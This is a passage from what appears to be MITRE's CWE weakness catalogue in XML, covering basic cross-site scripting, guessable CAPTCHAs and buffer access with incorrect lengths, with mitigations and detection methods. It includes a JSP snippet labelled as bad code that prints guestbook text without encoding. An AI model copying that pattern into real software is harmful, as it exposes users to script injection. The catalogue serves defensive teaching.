					does not neutralize or incorrectly neutralizes special characters such as
					"&lt;", "&gt;", and "&amp;" that could be interpreted as
					web-scripting elements when they are sent to a downstream component that
					processes web pages.</Description_Summary>
				        <Extended_Description>
					          <Text>This may allow such characters to be treated as control characters, which
						are executed client-side in the context of the user's session. Although this
						can be classified as an injection problem, the more pertinent issue is the
						improper conversion of such special characters to respective
						context-appropriate entities before displaying them to the user.</Text>
				        </Extended_Description>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>79</Relationship_Target_ID>
					          <!--Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>896</Relationship_Target_ID>
					          <!--SFP Cluster: Tainted Input-->
				</Relationship>
			      </Relationships>
			      <Weakness_Ordinalities>
				        <Weakness_Ordinality>
					          <Ordinality>Primary</Ordinality>
				        </Weakness_Ordinality>
			      </Weakness_Ordinalities>
			      <Applicable_Platforms>
				        <Languages>
					          <Language_Class Language_Class_Description="All"/>
				        </Languages>
			      </Applicable_Platforms>
			      <Time_of_Introduction>
				        <Introductory_Phase>Implementation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Likelihood_of_Exploit>High to Very High</Likelihood_of_Exploit>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Confidentiality</Consequence_Scope>
					          <Consequence_Scope>Integrity</Consequence_Scope>
					          <Consequence_Scope>Availability</Consequence_Scope>
					          <Consequence_Technical_Impact>Read application
						data</Consequence_Technical_Impact>
					          <Consequence_Technical_Impact>Execute unauthorized code or
						commands</Consequence_Technical_Impact>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Potential_Mitigations>
				        <Mitigation>
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Carefully check each input parameter against a rigorous positive
							specification (white list) defining the specific characters and format
							allowed. All input should be neutralized, not just parameters that the
							user is supposed to specify, but all data in the request, including
							hidden fields, cookies, headers, the URL itself, and so forth. A common
							mistake that leads to continuing XSS vulnerabilities is to validate only
							fields that are expected to be redisplayed by the site. We often
							encounter data from the request that is reflected by the application
							server or the application that the development team did not anticipate.
							Also, a field that is not currently reflected may be used by a future
							developer. Therefore, validating ALL parts of the HTTP request is
							recommended.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation Mitigation_ID="MIT-30.1">
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Strategy>Output Encoding</Mitigation_Strategy>
					          <Mitigation_Description>
						            <Text>Use and specify an output encoding that can be handled by the
							downstream component that is reading the output. Common encodings
							include ISO-8859-1, UTF-7, and UTF-8. When an encoding is not specified,
							a downstream component may choose a different encoding, either by
							assuming a default encoding or automatically inferring which encoding is
							being used, which can be erroneous. When the encodings are inconsistent,
							the downstream component might treat some character or byte sequences as
							special, even if they are not special in the original encoding.
							Attackers might then be able to exploit this discrepancy and conduct
							injection attacks; they even might be able to bypass protection
							mechanisms that assume the original encoding is also being used by the
							downstream component. </Text>
						            <Text>The problem of inconsistent output encodings often arises in web
							pages. If an encoding is not specified in an HTTP header, web browsers
							often guess about which encoding is being used. This can open up the
							browser to subtle XSS attacks. </Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation Mitigation_ID="MIT-43">
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>With Struts, write all data from form beans with the bean's filter
							attribute set to true.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation Mitigation_ID="MIT-31">
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Strategy>Identify and Reduce Attack Surface</Mitigation_Strategy>
					          <Mitigation_Description>
						            <Text>To help mitigate XSS attacks against the user's session cookie, set
							the session cookie to be HttpOnly. In browsers that support the HttpOnly
							feature (such as more recent versions of Internet Explorer and Firefox),
							this attribute can prevent the user's session cookie from being
							accessible to malicious client-side scripts that use document.cookie.
							This is not a complete solution, since HttpOnly is not supported by all
							browsers. More importantly, XMLHTTPRequest and other powerful browser
							technologies provide read access to HTTP headers, including the
							Set-Cookie header in which the HttpOnly flag is set.</Text>
					          </Mitigation_Description>
					          <Mitigation_Effectiveness>Defense in Depth</Mitigation_Effectiveness>
				        </Mitigation>
			      </Potential_Mitigations>
			      <Causal_Nature>Explicit</Causal_Nature>
			      <Demonstrative_Examples>
				        <Demonstrative_Example>
					          <Intro_Text>In the following example, a guestbook comment isn't properly
						encoded, filtered, or otherwise neutralized for script-related tags before
						being displayed in a client browser.</Intro_Text>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>JSP</Code_Example_Language>
							              <Code>&lt;% for (Iterator i = guestbook.iterator(); i.hasNext(); )
								{</Code>
							              <Block>
								                <Code>Entry e = (Entry) i.next(); %&gt;</Code>
								                <Code>&lt;p&gt;Entry #&lt;%= e.getId()
									%&gt;&lt;/p&gt;</Code>
								                <Code>&lt;p&gt;&lt;%= e.getText()
									%&gt;&lt;/p&gt;</Code>
								                <Code>&lt;%</Code>
								                <Code>} %&gt;</Code>
							              </Block>
						            </Block>
					          </Example_Body>
				        </Demonstrative_Example>
			      </Demonstrative_Examples>
			      <Observed_Examples>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2002-0938</Observed_Example_Reference>
					          <Observed_Example_Description>XSS in parameter in a
						link.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2002-1495</Observed_Example_Reference>
					          <Observed_Example_Description>XSS in web-based email product via attachment
						filenames.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2003-1136</Observed_Example_Reference>
					          <Observed_Example_Description>HTML injection in posted
						message.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2004-2171</Observed_Example_Reference>
					          <Observed_Example_Description>XSS not quoted in error
						page.</Observed_Example_Description>
				        </Observed_Example>
			      </Observed_Examples>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="PLOVER">
					          <Mapped_Node_Name>Basic XSS</Mapped_Node_Name>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			      <White_Box_Definitions>
				        <White_Box_Definition>
					          <Text>A weakness where the code path has:</Text>
					          <Block>
						            <Text>1. start statement that accepts input from HTML page</Text>
						            <Text>2. end statement that publishes a data item to HTML where</Text>
						            <Block>
							              <Text>a. the input is part of the data item and</Text>
							              <Text>b. the input contains XSS syntax</Text>
						            </Block>
					          </Block>
				        </White_Box_Definition>
			      </White_Box_Definitions>
			
			      <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>18</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>193</CAPEC_ID>
            </Related_Attack_Pattern>
         </Related_Attack_Patterns>
         <Content_History>
				        <Submission Submission_Source="Externally_Mined">
					          <Submitter>PLOVER</Submitter>
				        </Submission>
				        <Modification Modification_Source="External">
					          <Modifier>Sean Eidemiller</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>added/updated demonstrative
						examples</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="External">
					          <Modifier_Organization>KDM Analytics</Modifier_Organization>
					          <Modification_Date>2008-08-01</Modification_Date>
					          <Modification_Comment>added/updated white box definitions</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Relationships, Taxonomy_Mappings,
						Weakness_Ordinalities</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-10-14</Modification_Date>
					          <Modification_Comment>updated Description</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-05-27</Modification_Date>
					          <Modification_Comment>updated Demonstrative_Examples, Description,
						Name</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="External">
					          <Modifier>KDM Analytics</Modifier>
					          <Modification_Date>2009-07-17</Modification_Date>
					          <Modification_Comment>Improved the White_Box_Definition</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-07-27</Modification_Date>
					          <Modification_Comment>updated White_Box_Definitions</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-06-21</Modification_Date>
					          <Modification_Comment>updated Demonstrative_Examples, Description, Name,
						Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-03-29</Modification_Date>
					          <Modification_Comment>updated Description,
						Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Related_Attack_Patterns,
						Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-10-30</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Previous_Entry_Names>
					          <Previous_Entry_Name Name_Change_Date="2008-04-11">Basic
						XSS</Previous_Entry_Name>
					          <Previous_Entry_Name Name_Change_Date="2009-05-27">Failure to Sanitize
						Script-Related HTML Tags in a Web Page (Basic XSS)</Previous_Entry_Name>
					          <Previous_Entry_Name Name_Change_Date="2010-06-21">Improper Sanitization of
						Script-Related HTML Tags in a Web Page (Basic XSS)</Previous_Entry_Name>
				        </Previous_Entry_Names>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="804" Name="Guessable CAPTCHA" Weakness_Abstraction="Base" Status="Incomplete">
			      <Description>
				        <Description_Summary>The software uses a CAPTCHA challenge, but the challenge can be
					guessed or automatically recognized by a non-human actor. </Description_Summary>
				        <Extended_Description>
					          <Text>An automated attacker could bypass the intended protection of the CAPTCHA
						challenge and perform actions at a higher frequency than humanly possible,
						such as launching spam attacks.</Text>
					          <Text>There can be several different causes of a guessable CAPTCHA:</Text>
					          <Block Block_Nature="List">
						            <Text>An audio or visual image that does not have sufficient distortion from
							the unobfuscated source image.</Text>
						            <Text>A question is generated that with a format that can be automatically
							recognized, such as a math question.</Text>
						            <Text>A question for which the number of possible answers is limited, such
							as birth years or favorite sports teams.</Text>
						            <Text>A general-knowledge or trivia question for which the answer can be
							accessed using a data base, such as country capitals or popular
							actors.</Text>
						            <Text>Other data associated with the CAPTCHA may provide hints about its
							contents, such as an image whose filename contains the word that is used
							in the CAPTCHA.</Text>
					          </Block>
				        </Extended_Description>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">800</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>808</Relationship_Target_ID>
					          <!--2010 Top 25 - Weaknesses On the Cusp-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>863</Relationship_Target_ID>
					          <!--Incorrect Authorization-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>1000</Relationship_View_ID>
						            <Relationship_View_ID>699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>287</Relationship_Target_ID>
					          <!--Improper Authentication-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>1000</Relationship_View_ID>
						            <Relationship_View_ID>699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>330</Relationship_Target_ID>
					          <!--Use of Insufficiently Random Values-->
				</Relationship>
			      </Relationships>
			      <Weakness_Ordinalities>
				        <Weakness_Ordinality>
					          <Ordinality>Primary</Ordinality>
				        </Weakness_Ordinality>
			      </Weakness_Ordinalities>
			      <Applicable_Platforms>
				        <Languages>
					          <Language_Class Language_Class_Description="Language-independent"/>
				        </Languages>
				        <Technology_Classes>
					          <Technology_Class Prevalence="Sometimes" Technology_Name="Web-Server"/>
				        </Technology_Classes>
			      </Applicable_Platforms>
			      <Time_of_Introduction>
				        <Introductory_Phase>Architecture and Design</Introductory_Phase>
				        <Introductory_Phase>Implementation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Likelihood_of_Exploit>Medium to High</Likelihood_of_Exploit>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Access_Control</Consequence_Scope>
					          <Consequence_Scope>Other</Consequence_Scope>
					          <Consequence_Technical_Impact>Bypass protection
						mechanism</Consequence_Technical_Impact>
					          <Consequence_Technical_Impact>Other</Consequence_Technical_Impact>
					          <Consequence_Note>
						            <Text>When authorization, authentication, or another protection mechanism
							relies on CAPTCHA entities to ensure that only human actors can access
							certain functionality, then an automated attacker such as a bot may
							access the restricted functionality by guessing the CAPTCHA.</Text>
					          </Consequence_Note>
				        </Common_Consequence>
			      </Common_Consequences>
			      <References>
				        <Reference>
					          <Reference_Author>Web Application Security Consortium</Reference_Author>
					          <Reference_Title>Insufficient Anti-automation</Reference_Title>
					          <Reference_Link>http://projects.webappsec.org/Insufficient+Anti-automation</Reference_Link>
				        </Reference>
			      </References>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="WASC">
					          <Mapped_Node_Name>Insufficient Anti-Automation </Mapped_Node_Name>
					          <Mapped_Node_ID>21</Mapped_Node_ID>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			      <Content_History>
				        <Submission Submission_Source="Internal_CWE_Team">
					          <Submitter_Organization>MITRE</Submitter_Organization>
					          <Submission_Date>2010-01-15</Submission_Date>
					          <Submission_Comment>New entry to handle anti-automation as identified in
						WASC.</Submission_Comment>
				        </Submission>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-06-21</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences,
						Relationships</Modification_Comment>
				        </Modification>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="805" Name="Buffer Access with Incorrect Length Value" Weakness_Abstraction="Base" Status="Incomplete">
			      <Description>
				        <Description_Summary>The software uses a sequential operation to read or write a
					buffer, but it uses an incorrect length value that causes it to access memory
					that is outside of the bounds of the buffer. </Description_Summary>
				        <Extended_Description>
					          <Text>When the length value exceeds the size of the destination, a buffer
						overflow could occur.</Text>
				        </Extended_Description>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">900</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>867</Relationship_Target_ID>
					          <!--2011 Top 25 - Weaknesses On the Cusp-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">800</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>802</Relationship_Target_ID>
					          <!--2010 Top 25 - Risky Resource Management-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>119</Relationship_Target_ID>
					          <!--Improper Restriction of Operations within the Bounds of a Memory Buffer-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">868</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>874</Relationship_Target_ID>
					          <!--CERT C++ Secure Coding Section 06 - Arrays and the STL (ARR)-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">734</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>740</Relationship_Target_ID>
					          <!--CERT C Secure Coding Section 06 - Arrays (ARR)-->
				</Relationship>
			      </Relationships>
			      <Weakness_Ordinalities>
				        <Weakness_Ordinality>
					          <Ordinality>Resultant</Ordinality>
				        </Weakness_Ordinality>
				        <Weakness_Ordinality>
					          <Ordinality>Primary</Ordinality>
				        </Weakness_Ordinality>
			      </Weakness_Ordinalities>
			      <Applicable_Platforms>
				        <Languages>
					          <Language Language_Name="C" Prevalence="Often"/>
					          <Language Language_Name="C++" Prevalence="Often"/>
					          <Language Language_Name="Assembly"/>
				        </Languages>
			      </Applicable_Platforms>
			      <Time_of_Introduction>
				        <Introductory_Phase>Implementation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Likelihood_of_Exploit>Medium to High</Likelihood_of_Exploit>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Integrity</Consequence_Scope>
					          <Consequence_Scope>Confidentiality</Consequence_Scope>
					          <Consequence_Scope>Availability</Consequence_Scope>
					          <Consequence_Technical_Impact>Execute unauthorized code or
						commands</Consequence_Technical_Impact>
					          <Consequence_Note>
						            <Text>Buffer overflows often can be used to execute arbitrary code, which is
							usually outside the scope of a program's implicit security policy. This
							can often be used to subvert any other security service.</Text>
					          </Consequence_Note>
				        </Common_Consequence>
				        <Common_Consequence>
					          <Consequence_Scope>Availability</Consequence_Scope>
					          <Consequence_Technical_Impact>DoS: crash / exit /
						restart</Consequence_Technical_Impact>
					          <Consequence_Technical_Impact>DoS: resource consumption
						(CPU)</Consequence_Technical_Impact>
					          <Consequence_Note>
						            <Text>Buffer overflows generally lead to crashes. Other attacks leading to
							lack of availability are possible, including putting the program into an
							infinite loop.</Text>
					          </Consequence_Note>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Detection_Methods>
				        <Detection_Method Detection_Method_ID="DM-1">
					          <Method_Name>Automated Static Analysis</Method_Name>
					          <Method_Description>
						            <Text>This weakness can often be detected using automated static analysis
							tools. Many modern tools use data flow analysis or constraint-based
							techniques to minimize the number of false positives.</Text>
						            <Text>Automated static analysis generally does not account for environmental
							considerations when reporting out-of-bounds memory operations. This can
							make it difficult for users to determine which warnings should be
							investigated first. For example, an analysis tool might report buffer
							overflows that originate from command line arguments in a program that
							is not expected to run with setuid or other special privileges.</Text>
					          </Method_Description>
					          <Method_Effectiveness>High</Method_Effectiveness>
					          <Method_Effectiveness_Notes>
						            <Text>Detection techniques for buffer-related errors are more mature than
							for most other weakness types.</Text>
					          </Method_Effectiveness_Notes>
				        </Detection_Method>
				        <Detection_Method Detection_Method_ID="DM-2">
					          <Method_Name>Automated Dynamic Analysis</Method_Name>
					          <Method_Description>
						            <Text>This weakness can be detected using dynamic tools and techniques that
							interact with the software using large test suites with many diverse
							inputs, such as fuzz testing (fuzzing), robustness testing, and fault
							injection. The software's operation may slow down, but it should not
							become unstable, crash, or generate incorrect results.</Text>
					          </Method_Description>
					          <Method_Effectiveness>Moderate</Method_Effectiveness>
					          <Method_Effectiveness_Notes>
						            <Text>Without visibility into the code, black box methods may not be able to
							sufficiently distinguish this weakness from others, requiring manual
							methods to diagnose the underlying problem. </Text>
					          </Method_Effectiveness_Notes>
				        </Detection_Method>
				        <Detection_Method Detection_Method_ID="DM-9">
					          <Method_Name>Manual Analysis</Method_Name>
					          <Method_Description>
						            <Text>Manual analysis can be useful for finding this weakness, but it might
							not achieve desired code coverage within limited time constraints. This
							becomes difficult for weaknesses that must be considered for all inputs,
							since the attack surface can be too large.</Text>
					          </Method_Description>
				        </Detection_Method>
			      </Detection_Methods>
			      <Potential_Mitigations>
				        <Mitigation Mitigation_ID="MIT-3">
					          <Mitigation_Phase>Requirements</Mitigation_Phase>
					          <Mitigation_Strategy>Language Selection</Mitigation_Strategy>
					          <Mitigation_Description>
						            <Text>Use a language that does not allow this weakness to occur or provides
							constructs that make this weakness easier to avoid.</Text>
						            <Text>For example, many languages that perform their own memory management,
							such as Java and Perl, are not subject to buffer overflows. Other
							languages, such as Ada and C#, typically provide overflow protection,
							but the protection can be disabled by the programmer.</Text>
						            <Text>Be wary that a language's interface to native code may still be
							subject to overflows, even if the language itself is theoretically safe.
						</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation Mitigation_ID="MIT-4.1">
					          <Mitigation_Phase>Architecture and Design</Mitigation_Phase>
					          <Mitigation_Strategy>Libraries or Frameworks</Mitigation_Strategy>
					          <Mitigation_Description>
						            <Text>Use a vetted library or framework that does not allow this weakness to
							occur or provides constructs that make this weakness easier to
							avoid.</Text>
						            <Text>Examples include the Safe C String Library (SafeStr) by Messier and
							Viega [R.805.6], and the Strsafe.h library from Microsoft [R.805.7].
							These libraries provide safer versions of overflow-prone string-handling
							functions.</Text>
					          </Mitigation_Description>
					          <Mitigation_Effectiveness_Notes>
						            <Text>This is not a complete solution, since many buffer overflows are not
							related to strings.</Text>
					          </Mitigation_Effectiveness_Notes>
				        </Mitigation>
				        <Mitigation Mitigation_ID="MIT-10">
					          <Mitigation_Phase>Build and Compilation</Mitigation_Phase>
					          <Mitigation_Strategy>Compilation or Build Hardening</Mitigation_Strategy>
					          <Mitigation_Description>
						            <Text>Run or compile the software using features or extensions that
							automatically provide a protection mechanism that mitigates or
							eliminates buffer overflows.</Text>
						            <Text>For example, certain compilers and extensions provide automatic buffer
							overflow detection mechanisms that are built into the compiled code.
							Examples include the Microsoft Visual Studio /GS flag, Fedora/Red Hat
							FORTIFY_SOURCE GCC flag, StackGuard, and ProPolice.</Text>
					          </Mitigation_Description>
					          <Mitigation_Effectiveness>Defense in Depth</Mitigation_Effectiveness>
					          <Mitigation_Effectiveness_Notes>
						            <Text>This is not necessarily a complete solution, since these mechanisms
							can only detect certain types of overflows. In addition, an attack could
							still cause a denial of service, since the typical response is to exit
							the application.</Text>
					          </Mitigation_Effectiveness_Notes>
				        </Mitigation>
				        <Mitigation Mitigation_ID="MIT-9">
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Consider adhering to the following rules when allocating and managing
							an application's memory:</Text>
						            <Block Block_Nature="List">
							              <Text>Double check that your buffer is as large as you specify.</Text>
							              <Text>When using functions that accept a number of bytes to copy, such
								as strncpy(), be aware that if the destination buffer size is equal
								to the source buffer size, it may not NULL-terminate the
								string.</Text>
							              <Text>Check buffer boundaries if accessing the buffer in a loop and make
								sure you are not in danger of writing past the allocated
								space.</Text>
							              <Text>If necessary, truncate all input strings to a reasonable length
								before passing them to the copy and concatenation functions.</Text>
						            </Block>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation Mitigation_ID="MIT-15">
					          <Mitigation_Phase>Architecture and Design</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>For any security checks that are performed on the client side, ensure
							that these checks are duplicated on the server side, in order to avoid
							CWE-602. Attackers can bypass the client-side checks by modifying values
							after the checks have been performed, or by changing the client to
							remove the client-side checks entirely. Then, these modified values
							would be submitted to the server.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation Mitigation_ID="MIT-11">
					          <Mitigation_Phase>Operation</Mitigation_Phase>
					          <Mitigation_Strategy>Environment Hardening</Mitigation_Strategy>
					          <Mitigation_Description>
						            <Text>Use a feature like Address Space Layout Randomization (ASLR) [R.805.2]
							[R.805.4].</Text>
					          </Mitigation_Description>
					          <Mitigation_Effectiveness>Defense in Depth</Mitigation_Effectiveness>
					          <Mitigation_Effectiveness_Notes>
						            <Text>This is not a complete solution. However, it forces the attacker to
							guess an unknown value that changes every program execution. In
							addition, an attack could still cause a denial of service, since the
							typical response is to exit the application.</Text>
					          </Mitigation_Effectiveness_Notes>
				        </Mitigation>
				        <Mitigation Mitigation_ID="MIT-12">
					          <Mitigation_Phase>Operation</Mitigation_Phase>
					          <Mitigation_Strategy>Environment Hardening</Mitigation_Strategy>
					          <Mitigation_Description>
						            <Text>Use a CPU and operating system that offers Data Execution Protection
							(NX) or its equivalent [R.805.3] [R.805.6].</Text>
					          </Mitigation_Description>
					          <Mitigation_Effectiveness>Defense in Depth</Mitigation_Effectiveness>
					          <Mitigation_Effectiveness_Notes>
						            <Text>This is not a complete solution, since buffer overflows could be used
							to overwrite nearby variables to modify the software's state in
							dangerous ways. In addition, it cannot be used in cases in which
							self-modifying code is required. Finally, an attack could still cause a
							denial of service, since the typical response is to exit the
							application.</Text>
					          </Mitigation_Effectiveness_Notes>
				        </Mitigation>
				        <Mitigation Mitigation_ID="MIT-17">
					          <Mitigation_Phase>Architecture and Design</Mitigation_Phase>
					          <Mitigation_Phase>Operation</Mitigation_Phase>
					          <Mitigation_Strategy>Environment Hardening</Mitigation_Strategy>
					          <Mitigation_Description>
						            <Text>Run your code using the lowest privileges that are required to
							accomplish the necessary tasks [R.805.9]. If possible, create isolated
							accounts with limited privileges that are only used for a single task.
							That way, a successful attack will not immediately give the attacker
							access to the rest of the software or its environment. For example,
							database applications rarely need to run as the database administrator,
							especially in day-to-day operations.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation Mitigation_ID="MIT-22">
					          <Mitigation_Phase>Architecture and Design</Mitigation_Phase>
					          <Mitigation_Phase>Operation</Mitigation_Phase>
					          <Mitigation_Strategy>Sandbox or Jail</Mitigation_Strategy>
					          <Mitigation_Description>
						            <Text>Run the code in a "jail" or similar sandbox environment that enforces
							strict boundaries between the process and the operating system. This may
							effectively restrict which files can be accessed in a particular
							directory or which commands can be executed by the software.</Text>
						            <Text>OS-level examples include the Unix chroot jail, AppArmor, and SELinux.
							In general, managed code may provide some protection. For example,
							java.io.FilePermission in the Java SecurityManager allows the software
							to specify restrictions on file operations.</Text>
						            <Text>This may not be a feasible solution, and it only limits the impact to
							the operating system; the rest of the application may still be subject
							to compromise.</Text>
						            <Text>Be careful to avoid CWE-243 and other weaknesses related to jails.
						</Text>
					          </Mitigation_Description>
					          <Mitigation_Effectiveness>Limited</Mitigation_Effectiveness>
					          <Mitigation_Effectiveness_Notes>
						            <Text>The effectiveness of this mitigation depends on the prevention
							capabilities of the specific sandbox or jail being used and might only
							help to reduce the scope of an attack, such as restricting the attacker
							to certain system calls or limiting the portion of the file system that
							can be accessed. </Text>
					          </Mitigation_Effectiveness_Notes>
				        </Mitigation>
			      </Potential_Mitigations>
			      <Causal_Nature>Explicit</Causal_Nature>
			      <Demonstrative_Examples>
				        <Demonstrative_Example Demonstrative_Example_ID="DX-1">
					          <Intro_Text>This example takes an IP address from a user, verifies that it is
						well formed and then looks up the hostname and copies it into a
						buffer.</Intro_Text>
					          <Example_Body>
